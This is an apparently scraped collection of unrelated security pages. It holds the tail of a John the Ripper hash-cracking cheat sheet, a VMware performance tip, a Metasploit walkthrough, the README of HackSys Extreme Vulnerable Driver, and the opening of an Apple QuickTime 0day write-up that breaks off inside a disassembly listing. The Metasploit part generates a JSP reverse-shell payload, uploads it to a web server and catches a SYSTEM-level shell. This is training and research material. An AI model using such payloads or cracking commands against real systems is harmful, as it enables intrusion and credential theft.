    username:NuLKvvWGg.x9HEKO:::::::
    $ john hashes.txt
    $ john --format=pix-md5 hashes.txt
[/code]

## po – Post.Office MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    0c78bdef7d5448105cfbbc9aaa490a44550c41c11bab48f9dbd8203ed313eef0
    $ john hashes.txt
    $ john --format=po hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0c78bdef7d5448105cfbbc9aaa490a44550c41c11bab48f9dbd8203ed313eef0
    $ john hashes.txt
    $ john --format=po hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0c78bdef7d5448105cfbbc9aaa490a44550c41c11bab48f9dbd8203ed313eef0:::::::
    $ john hashes.txt
    $ john --format=po hashes.txt
[/code]

## rar – rar

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $rar3$*0*c9dea41b149b53b4*fcbdb66122d8ebdb32532c22ca7ab9ec*24
    $ john hashes.txt
    $ john --format=rar hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$rar3$*0*c9dea41b149b53b4*fcbdb66122d8ebdb32532c22ca7ab9ec*24
    $ john hashes.txt
    $ john --format=rar hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$rar3$*0*c9dea41b149b53b4*fcbdb66122d8ebdb32532c22ca7ab9ec*24:::::::
    $ john hashes.txt
    $ john --format=rar hashes.txt
[/code]

## raw-md4 – Raw MD4

### Supported Hash Formats

[code]

    $ cat hashes.txt
    8a9d093f14f8701df17732b2bb182c74
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md4 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:8a9d093f14f8701df17732b2bb182c74
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md4 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:8a9d093f14f8701df17732b2bb182c74:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md4 hashes.txt
[/code]

## raw-md5 – Raw MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    5a105e8b9d40e1329780d62ea2265d8a
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5a105e8b9d40e1329780d62ea2265d8a
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5a105e8b9d40e1329780d62ea2265d8a:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md5 hashes.txt
[/code]

## raw-md5-unicode – Raw MD5 of Unicode plaintext

### Supported Hash Formats

[code]

    $ cat hashes.txt
    16c47151c18ac087cd12b3a70746c790
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md5-unicode hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:16c47151c18ac087cd12b3a70746c790
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md5-unicode hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:16c47151c18ac087cd12b3a70746c790:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=raw-md5-unicode hashes.txt
[/code]

## raw-sha1 – Raw SHA-1

### Supported Hash Formats

[code]

    $ cat hashes.txt
    A9993E364706816ABA3E25717850C26C9CD0D89D
    $ john hashes.txt
    $ john --format=raw-sha1 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:A9993E364706816ABA3E25717850C26C9CD0D89D
    $ john hashes.txt
    $ john --format=raw-sha1 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:A9993E364706816ABA3E25717850C26C9CD0D89D:::::::
    $ john hashes.txt
    $ john --format=raw-sha1 hashes.txt
[/code]

## raw-sha224 – Raw SHA-224

### Supported Hash Formats

[code]

    $ cat hashes.txt
    d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01
    $ john hashes.txt
    $ john --format=raw-sha224 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01
    $ john hashes.txt
    $ john --format=raw-sha224 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01:::::::
    $ john hashes.txt
    $ john --format=raw-sha224 hashes.txt
[/code]

## raw-sha256 – Raw SHA-256

### Supported Hash Formats

[code]

    $ cat hashes.txt
    5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Post.Office MD5".
    $ john --format=raw-sha256 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Post.Office MD5".
    $ john --format=raw-sha256 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Post.Office MD5".
    $ john --format=raw-sha256 hashes.txt
[/code]

## raw-sha384 – Raw SHA-384

### Supported Hash Formats

[code]

    $ cat hashes.txt
    a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7
    $ john hashes.txt
    $ john --format=raw-sha384 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7
    $ john hashes.txt
    $ john --format=raw-sha384 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7:::::::
    $ john hashes.txt
    $ john --format=raw-sha384 hashes.txt
[/code]

## raw-sha512 – Raw SHA-512

### Supported Hash Formats

[code]

    $ cat hashes.txt
    b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86
    $ john hashes.txt
    $ john --format=raw-sha512 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86
    $ john hashes.txt
    $ john --format=raw-sha512 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86:::::::
    $ john hashes.txt
    $ john --format=raw-sha512 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    $SHA512$fa585d89c851dd338a70dcf535aa2a92fee7836dd6aff1226583e88e0996293f16bc009c652826e0fc5c706695a03cddce372f139eff4d13959da6f1f5d3eabe
    $ john hashes.txt
    $ john --format=raw-sha512 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$SHA512$fa585d89c851dd338a70dcf535aa2a92fee7836dd6aff1226583e88e0996293f16bc009c652826e0fc5c706695a03cddce372f139eff4d13959da6f1f5d3eabe
    $ john hashes.txt
    $ john --format=raw-sha512 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$SHA512$fa585d89c851dd338a70dcf535aa2a92fee7836dd6aff1226583e88e0996293f16bc009c652826e0fc5c706695a03cddce372f139eff4d13959da6f1f5d3eabe:::::::
    $ john hashes.txt
    $ john --format=raw-sha512 hashes.txt
[/code]

## salted-sha – Salted SHA

### Supported Hash Formats

[code]

    $ cat hashes.txt
    {SSHA}hHSEPW3qeiOo5Pl2MpHQCXh0vgfyVR/X
    $ john hashes.txt # Doesn't work.  JTR detects hash as "OpenLDAP SSHA".
    $ john --format=salted-sha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SSHA}hHSEPW3qeiOo5Pl2MpHQCXh0vgfyVR/X
    $ john hashes.txt # Doesn't work.  JTR detects hash as "OpenLDAP SSHA".
    $ john --format=salted-sha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SSHA}hHSEPW3qeiOo5Pl2MpHQCXh0vgfyVR/X:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "OpenLDAP SSHA".
    $ john --format=salted-sha hashes.txt
[/code]

## sapb – SAP BCODE

### Supported Hash Formats

[code]

    $ cat hashes.txt
    ROOT                                    $8366A4E9E6B72CB0
    $ john hashes.txt
    $ john --format=sapb hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:ROOT                                    $8366A4E9E6B72CB0
    $ john hashes.txt
    $ john --format=sapb hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:ROOT                                    $8366A4E9E6B72CB0:::::::
    $ john hashes.txt
    $ john --format=sapb hashes.txt
[/code]

## sapg – SAP CODVN G \(PASSCODE\)

### Supported Hash Formats

[code]

    $ cat hashes.txt
    ROOT                                    $1194E38F14B9F3F8DA1B181F14DEB70E7BDCC239
    $ john hashes.txt
    $ john --format=sapg hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:ROOT                                    $1194E38F14B9F3F8DA1B181F14DEB70E7BDCC239
    $ john hashes.txt
    $ john --format=sapg hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:ROOT                                    $1194E38F14B9F3F8DA1B181F14DEB70E7BDCC239:::::::
    $ john hashes.txt
    $ john --format=sapg hashes.txt
[/code]

## sha1-gen – Generic salted SHA-1

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $SHA1p$salt$59b3e8d637cf97edbe2384cf59cb7453dfe30789
    $ john hashes.txt
    $ john --format=sha1-gen hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$SHA1p$salt$59b3e8d637cf97edbe2384cf59cb7453dfe30789
    $ john hashes.txt
    $ john --format=sha1-gen hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$SHA1p$salt$59b3e8d637cf97edbe2384cf59cb7453dfe30789:::::::
    $ john hashes.txt
    $ john --format=sha1-gen hashes.txt
[/code]

## skey – S/Key

### Supported Hash Formats

TODO: No working example yet.  
TODO: No working example yet.  
TODO: No working example yet.  
TODO: No working example yet.

## ssh – ssh

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $ssh2$2d2d2d2d2d424547494e204453412050524956415445204b45592d2d2d2d2d0a50726f632d547970653a20342c454e435259505445440a44454b2d496e666f3a204145532d3132382d4342432c35413830363832373943304634364539383230373135304133433245433631340a0a2f756954696e4a3452556a6f5a76302b705931694d763163695661724369347a2f62365a694c4161565970794a31685854327463692b593266334c61614578630a6f357772316141464d3437786d526d476f3832492f76434847413952786735776147433970574f475a5675555172447355367463556b434d422b325a344753390a354f44474364444b32674e6574446e62324a764873714154736d3443633633476468695a30734346594c71796d2b576531774359616c78734f3231572b4f676f0a42336f6746464977327232462b714a7a714d37415543794c466869357a476d7536534e6558765534477a784750464a4e47306d414f55497761614e3161446a630a4e326b3462437266796271337a366e436533444273384b3232694e2b3875526e534162434f717a5a5845645971555959354b6b6a326e654354525458494e64670a512b61535359673379355937626f4b6b6a494f727650555748654f796475512b74657273414577376e43564a7a72394e387452673271563450557631434b66700a4f49467742372f39736f6d6a59496a71576f61537a6a784b30633852777a305331706d722b7571726277792b50656f75354d3373656d486c426b4769553237660a776f684b792b4d554e4862734e6a7973535a53456c4e4b734d4950715449567a5a45316d5646412f30754d477164705133627a424f6a58325a6f36656446434f0a6d4a34775961765735774d2b6a6d75564b5056564e7939395a78796570304645644c50354b623263345a6c3053396631342f62366836415069785665377a75760a5662536b4279664a6e797a68494f5942497954374d64773134723441584a56362b5a6f457730397769774d3d0a2d2d2d2d2d454e44204453412050524956415445204b45592d2d2d2d2d0a*771
    $ john hashes.txt
    $ john --format=ssh hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$ssh2$2d2d2d2d2d424547494e204453412050524956415445204b45592d2d2d2d2d0a50726f632d547970653a20342c454e435259505445440a44454b2d496e666f3a204145532d3132382d4342432c35413830363832373943304634364539383230373135304133433245433631340a0a2f756954696e4a3452556a6f5a76302b705931694d763163695661724369347a2f62365a694c4161565970794a31685854327463692b593266334c61614578630a6f357772316141464d3437786d526d476f3832492f76434847413952786735776147433970574f475a5675555172447355367463556b434d422b325a344753390a354f44474364444b32674e6574446e62324a764873714154736d3443633633476468695a30734346594c71796d2b576531774359616c78734f3231572b4f676f0a42336f6746464977327232462b714a7a714d37415543794c466869357a476d7536534e6558765534477a784750464a4e47306d414f55497761614e3161446a630a4e326b3462437266796271337a366e436533444273384b3232694e2b3875526e534162434f717a5a5845645971555959354b6b6a326e654354525458494e64670a512b61535359673379355937626f4b6b6a494f727650555748654f796475512b74657273414577376e43564a7a72394e387452673271563450557631434b66700a4f49467742372f39736f6d6a59496a71576f61537a6a784b30633852777a305331706d722b7571726277792b50656f75354d3373656d486c426b4769553237660a776f684b792b4d554e4862734e6a7973535a53456c4e4b734d4950715449567a5a45316d5646412f30754d477164705133627a424f6a58325a6f36656446434f0a6d4a34775961765735774d2b6a6d75564b5056564e7939395a78796570304645644c50354b623263345a6c3053396631342f62366836415069785665377a75760a5662536b4279664a6e797a68494f5942497954374d64773134723441584a56362b5a6f457730397769774d3d0a2d2d2d2d2d454e44204453412050524956415445204b45592d2d2d2d2d0a*771
    $ john hashes.txt
    $ john --format=ssh hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$ssh2$2d2d2d2d2d424547494e204453412050524956415445204b45592d2d2d2d2d0a50726f632d547970653a20342c454e435259505445440a44454b2d496e666f3a204145532d3132382d4342432c35413830363832373943304634364539383230373135304133433245433631340a0a2f756954696e4a3452556a6f5a76302b705931694d763163695661724369347a2f62365a694c4161565970794a31685854327463692b593266334c61614578630a6f357772316141464d3437786d526d476f3832492f76434847413952786735776147433970574f475a5675555172447355367463556b434d422b325a344753390a354f44474364444b32674e6574446e62324a764873714154736d3443633633476468695a30734346594c71796d2b576531774359616c78734f3231572b4f676f0a42336f6746464977327232462b714a7a714d37415543794c466869357a476d7536534e6558765534477a784750464a4e47306d414f55497761614e3161446a630a4e326b3462437266796271337a366e436533444273384b3232694e2b3875526e534162434f717a5a5845645971555959354b6b6a326e654354525458494e64670a512b61535359673379355937626f4b6b6a494f727650555748654f796475512b74657273414577376e43564a7a72394e387452673271563450557631434b66700a4f49467742372f39736f6d6a59496a71576f61537a6a784b30633852777a305331706d722b7571726277792b50656f75354d3373656d486c426b4769553237660a776f684b792b4d554e4862734e6a7973535a53456c4e4b734d4950715449567a5a45316d5646412f30754d477164705133627a424f6a58325a6f36656446434f0a6d4a34775961765735774d2b6a6d75564b5056564e7939395a78796570304645644c50354b623263345a6c3053396631342f62366836415069785665377a75760a5662536b4279664a6e797a68494f5942497954374d64773134723441584a56362b5a6f457730397769774d3d0a2d2d2d2d2d454e44204453412050524956415445204b45592d2d2d2d2d0a*771:::::::
    $ john hashes.txt
    $ john --format=ssh hashes.txt
[/code]

## sybasease – sybasease

### Supported Hash Formats

[code]

    $ cat hashes.txt
    0xc0074BE393C06BE420AD541671aa5e6f1a19a4a73bb51c59f45790f0887cfb70e0599747c6844d4556b3
    $ john hashes.txt
    $ john --format=sybasease hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0xc0074BE393C06BE420AD541671aa5e6f1a19a4a73bb51c59f45790f0887cfb70e0599747c6844d4556b3
    $ john hashes.txt
    $ john --format=sybasease hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0xc0074BE393C06BE420AD541671aa5e6f1a19a4a73bb51c59f45790f0887cfb70e0599747c6844d4556b3:::::::
    $ john hashes.txt
    $ john --format=sybasease hashes.txt
[/code]

## xsha – Mac OS X 10.4+ salted SHA-1

### Supported Hash Formats

[code]

    $ cat hashes.txt
    12345678F9083C7F66F46A0A102E4CC17EC08C8AF120571B
    $ john hashes.txt
    $ john --format=xsha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:12345678F9083C7F66F46A0A102E4CC17EC08C8AF120571B
    $ john hashes.txt
    $ john --format=xsha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:12345678F9083C7F66F46A0A102E4CC17EC08C8AF120571B:::::::
    $ john hashes.txt
    $ john --format=xsha hashes.txt
[/code]

## zip – zip

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $zip$*0*1*8005b1b7d077708d*dee4
    $ john hashes.txt
    $ john --format=zip hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$zip$*0*1*8005b1b7d077708d*dee4
    $ john hashes.txt
    $ john --format=zip hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$zip$*0*1*8005b1b7d077708d*dee4:::::::
    $ john hashes.txt
    $ john --format=zip hashes.txt
[/code]

Tags: johntheripper, pentest

Posted in Cheat Sheets

# Fixing VMWare pain in the ass performance | Explorations in manipulation
**Created:**| _11/1/2013 8:39:18 AM_  
---|---  
**Updated:**| _11/1/2013 8:39:18 AM_  
**Author:**| __  
**Tags:**| _vmware performance_  
  

# Fixing VMWare pain in the ass performance

_A tech-ish post for a change. Just for the Googles of the world._  
_  
_If you are running more than one VM on the same host, and performance is
hell, you need to:  

> $ mkdir ~/.vmware  
> $ echo "sched.mem.pshare.enable = FALSE" >>~/.vmware/config
and launch VMWare. This makes VMWare stop constantly comparing memory blocks
in hopes of finding common ones so that it can fake more memory on the page
level. It will start using real RAM. Massive improvement, in my experience.
You will obviously need more RAM.  
  
Other good settings are:  

> MemTrimRate = 0  
> prefvmx.useRecommendedLockedMemSize = "TRUE"  
> prefvmx.minVmMemPct = "100"

# Metasploit JSP Shells | carnal0wnage.attackresearch.com
**Created:**| _10/23/2009 3:07:27 PM_  
---|---  
**Updated:**| _10/23/2009 3:07:34 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

## Metasploit JSP Shells

Thu, 10/22/2009 - 16:08 by cg

Stephen Fewer has pushed up a jsp reverse and jsp bind shell.

http://dev.metasploit.com/redmine/projects/framework/repository/show/modules/payloads/singles/java

I'm not sure of all the ways to use them but the easiest way is to just output
the shell to raw and just upload it to a web server or for an example with an
exploit check out the adobe robohelp exploit.  
  
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/http/adobe\_robohelper\_authbypass.rb

yomomma@c0:~/pentest/msf3.3dev$ ./msfpayload java/jsp\_shell\_reverse\_tcp
LHOST=192.168.10.1 R > blah.jsp

From there you can set up your multi handler, browse to your page
webpath/blah.jsp and grab your shell.

yomomma@c0:~/pentest/msf3.3dev$ ./msfconsole  
=\[ msf v3.3-dev \[core:3.3 api:1.0\]  
\+ -- --=\[ 432 exploits - 261 payloads  
\+ -- --=\[ 21 encoders - 8 nops  
=\[ 222 aux

  
msf > use exploit/multi/handler  
msf exploit\(handler\) > set PAYLOAD java/jsp\_shell\_reverse\_tcp  
set PAYLOAD java/jsp\_shell\_reverse\_tcp  
msf exploit\(handler\) > set LHOST 192.168.10.1  
LHOST => 192.168.10.1  
msf exploit\(handler\) > info

Name: Generic Payload Handler  
Version: 6558  
Platform: Windows, Linux, Solaris, Unix, OSX, BSD, PHP  
Privileged: No  
License: Metasploit Framework License \(BSD\)

Provided by:  
hdm

Available targets:  
Id Name  
\-- ----  
0 Wildcard Target

Payload information:  
Space: 100000  
Avoid: 0 characters

  
Description:  
This module is a stub that provides all of the features of the  
Metasploit payload system to exploits that have been launched  
outside of the framework.

msf exploit\(handler\) > show options

Module options:

Name Current Setting Required Description  
\---- --------------- -------- -----------

  
Payload options \(java/jsp\_shell\_reverse\_tcp\):  
  
Name Current Setting Required Description  
\---- --------------- -------- -----------  
LHOST 192.168.10.1 yes The local address  
LPORT 4444 yes The local port  
SHELL cmd.exe yes The system shell to use.

Exploit target:

Id Name  
\-- ----  
0 Wildcard Target

msf exploit\(handler\) > exploit

\[\*\] Starting the payload handler...  
\[\*\] Started reverse handler  
\[\*\] Command shell session 1 opened \( 192.168.10.1:4444 ->
192.168.10.2:42957\)

Microsoft Windows \[Version 5.2.3790\]  
\(C\) Copyright 1985-2003 Microsoft Corp.

C:\ColdFusion8\runtime\bin> whoami  
whoami  
nt authority\system

C:\ColdFusion8\runtime\bin>exit  
exit

\[\*\] Command shell session 1 closed.

# hacksysteam/HackSysExtremeVulnerableDriver

**Created:**| _9/4/2017 9:41:05 AM_  
---|---  
**Updated:**| _9/4/2017 9:41:05 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# HackSys Extreme Vulnerable Driver

[code]

               ooooo   ooooo oooooooooooo oooooo     oooo oooooooooo.   
               `888'   `888' `888'     `8  `888.     .8'  `888'   `Y8b  
                888     888   888           `888.   .8'    888      888 
                888ooooo888   888oooo8       `888. .8'     888      888 
                888     888   888    "        `888.8'      888      888 
                888     888   888       o      `888'       888     d88' 
               o888o   o888o o888ooooood8       `8'       o888bood8P'   
    
[/code]

* * *
**HackSys Extreme Vulnerable Driver** is **intentionally** vulnerable
**Windows** driver developed for security enthusiasts to learn and polish
their exploitation skills at **Kernel** level.

**HackSys Extreme Vulnerable Driver** caters wide range of vulnerabilities
ranging from simple ` Buffer Overflows ` to complex ` Use After Frees ` and `
Pool Overflows `. This allows the researchers to explore the exploitation
techniques for every implemented vulnerabilities.

## Black Hat Arsenal 2016

<img
src='img/68747470733a2f2f7777772e746f6f6c7377617463682e6f72672f6261646765732f617273656e616c2f323031362e737667'
width='142' height='20' alt='Black Hat Arsenal' />

Presentation

White Paper

## Blog Post

http://www.payatu.com/hacksys-extreme-vulnerable-driver/

## External Exploits

https://github.com/sam-b/HackSysDriverExploits

https://github.com/sizzop/HEVD-Exploits

https://github.com/badd1e/bug-free-adventure

https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn

https://github.com/theevilbit/exploits/tree/master/HEVD

https://github.com/GradiusX/HEVD-Python-Solutions

http://pastebin.com/ALKdpDsF

https://github.com/Cn33liz/HSEVD-StackOverflow

https://github.com/Cn33liz/HSEVD-StackOverflowX64

https://github.com/Cn33liz/HSEVD-StackCookieBypass

https://github.com/Cn33liz/HSEVD-ArbitraryOverwrite

https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI

https://github.com/Cn33liz/HSEVD-StackOverflowGDI

https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteLowIL

https://github.com/mgeeky/HEVD\_Kernel\_Exploit

https://github.com/tekwizz123/HEVD-Exploit-Solutions

## External Researches

http://niiconsulting.com/checkmate/2016/01/windows-kernel-exploitation/

http://whitehatters.academy/intro-to-windows-kernel-exploitation-2-windows-
drivers/

http://whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-
driver-exploit/

http://whitehatters.academy/intro-to-windows-kernel-exploitation-more-of-the-
hacksys-driver/

https://sizzop.github.io/2016/07/05/kernel-hacking-with-hevd-part-1.html

https://sizzop.github.io/2016/07/06/kernel-hacking-with-hevd-part-2.html

https://sizzop.github.io/2016/07/07/kernel-hacking-with-hevd-part-3.html

https://sizzop.github.io/2016/07/08/kernel-hacking-with-hevd-part-4.html

https://www.fuzzysecurity.com/tutorials/expDev/14.html

https://www.fuzzysecurity.com/tutorials/expDev/15.html

https://www.fuzzysecurity.com/tutorials/expDev/16.html

https://www.fuzzysecurity.com/tutorials/expDev/17.html

https://www.fuzzysecurity.com/tutorials/expDev/18.html

https://www.fuzzysecurity.com/tutorials/expDev/19.html

https://www.fuzzysecurity.com/tutorials/expDev/20.html

http://dokydoky.tistory.com/445

https://hshrzd.wordpress.com/2017/05/28/starting-with-windows-kernel-
exploitation-part-1-setting-up-the-lab/

https://hshrzd.wordpress.com/2017/06/05/starting-with-windows-kernel-
exploitation-part-2/

https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-
exploitation-part-3-stealing-the-access-token/

https://osandamalith.com/2017/04/05/windows-kernel-exploitation-stack-
overflow/

https://osandamalith.com/2017/06/14/windows-kernel-exploitation-arbitrary-
overwrite/

https://osandamalith.com/2017/06/22/windows-kernel-exploitation-null-pointer-
dereference/

http://dali-mrabet1.rhcloud.com/windows-kernel-exploitation-arbitrary-memory-
overwrite-hevd-challenges/

## Author

> **Ashfaq Ansari**
> ashfaq\[at\]payatu\[dot\]com
> **@HackSysTeam | Blog | null**
> <img
> src='img/687474703a2f2f7777772e7061796174752e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031352f30342f5061796174755f4c6f676f2e706e67.png'
> width='180' height='63' alt='Payatu Technologies' />
> http://www.payatu.com/
## Screenshots

<img
src='img/687474703a2f2f7777772e7061796174752e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031352f30352f323031352d30352d32375f32306831345f33332e706e67.png'
width='322' height='152' alt='Driver Banner' />

<img
src='img/687474703a2f2f7777772e7061796174752e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031352f30352f323031352d30362d30335f32326832375f32342e706e67.png'
width='639' height='338' alt='Help' />

<img
src='img/687474703a2f2f7777772e7061796174752e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031352f30352f323031352d30352d32375f32306832325f33352e706e67.png'
width='677' height='630' alt='Exploitation' />

<img
src='img/687474703a2f2f7777772e7061796174752e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031352f30352f323031352d30352d32375f32306832385f30372e706e67.png'
width='320' height='199' alt='Driver Debug Print' />

## Vulnerabilities Implemented

  * **Double Fetch**
  * **Pool Overflow**
  * **Use After Free**
  * **Type Confusion**
  * **Stack Overflow**
  * **Integer Overflow**
  * **Stack Overflow GS**
  * **Arbitrary Overwrite**
  * **Null Pointer Dereference**
  * **Uninitialized Heap Variable**
  * **Uninitialized Stack Variable**

## Building Driver

  1. Install Windows Driver Kit
  2. Change ` %localSymbolServerPath% ` in ` Build_HEVD_Secure_x86.bat ` and ` Build_HEVD_Vulnerable_x86.bat ` driver builder
  3. Run the appropriate driver builder ` Build_HEVD_Secure_x86.bat ` or ` Build_HEVD_Vulnerable_x86.bat `

## Download

If you do not want to build **HackSys Extreme Vulnerable Driver** from source,
you could download pre-built executables for the latest release:

HEVD.zip

## Installing Driver

Use OSR Driver Loader to install **HackSys Extreme Vulnerable Driver**

## Testing

The **HackSys Extreme Vulnerable Driver** and the respective exploits have
been tested on **Windows 7 SP1 x86**

## Sessions Conducted

  * Windows Kernel Exploitation 1
  * Windows Kernel Exploitation 2
  * Windows Kernel Exploitation 3
  * Windows Kernel Exploitation 4
  * Windows Kernel Exploitation 5
  * Windows Kernel Exploitation 6
  * Windows Kernel Exploitation 7

## Workshops Conducted

  * Windows Kernel Exploitation Humla Pune
  * Windows Kernel Exploitation Humla Mumbai

## License

Please see the file ` LICENSE ` for copying permission

## Contribution Guidelines

Please see the file ` CONTRIBUTING.md ` for contribution guidelines

## TODO & Bug Report

Please file any enhancement request or bug report via GitHub Issue Tracker at
the below given address:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/issues

* * *
http://hacksys.vfreaks.com

<img
src='img/687474703a2f2f6861636b7379732e76667265616b732e636f6d2f77702d636f6e74656e742f7468656d65732f506f6c69736865642f696d616765732f6c6f676f2e706e67.png'
width='202' height='58' alt='HackSys Team' />

  

# Reverse Mode - \[0day\] Apple QuickTime "\_Marshaled\_pUnk" backdoor param
client-side arbitrary code execution

**Created:**| _8/30/2010 3:09:08 PM_  
---|---  
**Updated:**| _8/30/2010 3:09:36 PM_  
**Author:**| __  
**Tags:**| _bookmark Exploit reversing Mac-hacking awesome bughunting_  
  
\[0DAY\] APPLE QUICKTIME "\_MARSHALED\_PUNK" BACKDOOR PARAM CLIENT-SIDE ARBITRARY CODE EXECUTION | <img src='img/Temp2_6941.png' alt='PDF' />| <img src='img/Temp2_6942.png' alt='Print' />  
---|---|---  
Written by Rubén  
---  
Monday, 30 August 2010  
Hi there,  
  
Today we're going to talk about an interesting "backdoor" I uncovered during a
static reversing session against QTPlugin.ocx. WATCH OUT\! Do not hype this
issue beyond it deserves. This time Backdoor \!= malicious code but a horrible
trick a developer implemented during the development cycle.These hacks could
end up having a harmful impact.  
  
The scenario would be as follows:  
  
 _Victim prerequisites:_  
  
\* Internet Explorer.  
\* XP,Vista,W7.  
\* Apple Quicktime 7.x, 6.x \( 2004 versions are also vulnerable, older
versions not checked \)  
  
1\. Victim is enticed into visiting, by any mean, a specially crafted webpage.  
2\. Attacker's payload to be executed under the context of the browser.  
3\. Attacker calls his girlfriend to inform about the successful exploitation,
who indeed turns out to be very interested in the issue. She demands more
technical details.  
4\. Attacker wakes up.  
  
  
**Technical details**  
  
QTPlugin.ocx implements IPersistPropertyBag2::Read \(1000E330\) to handle
params received from where it is embedded, including HTML documents.  
  
Let's take a look  
  

[code]

    .text:1000E330
    .text:1000E330 ; =============== S U B R O U T I N E =======================================
    .text:1000E330
    .text:1000E330
    .text:1000E330 sub_1000E330    proc near               ; DATA XREF: .rdata:1002E0ECo
    .text:1000E330                                         ; .rdata:1002E86Co
    .text:1000E330
    .text:1000E330 arg_0           = dword ptr  4
    .text:1000E330 arg_4           = dword ptr  8
    .text:1000E330 arg_8           = dword ptr  0Ch
    .text:1000E330
    .text:1000E330                 push    esi
    .text:1000E331                 mov     esi, [esp+4+arg_0]
    .text:1000E335                 mov     ecx, [esi+84h]
    .text:1000E33B                 xor     eax, eax
    .text:1000E33D                 test    ecx, ecx
    .text:1000E33F                 jz      short loc_1000E393
    .text:1000E341                 mov     eax, [esp+4+arg_8]
    .text:1000E345                 mov     edx, [esp+4+arg_4]
    .text:1000E349                 push    eax
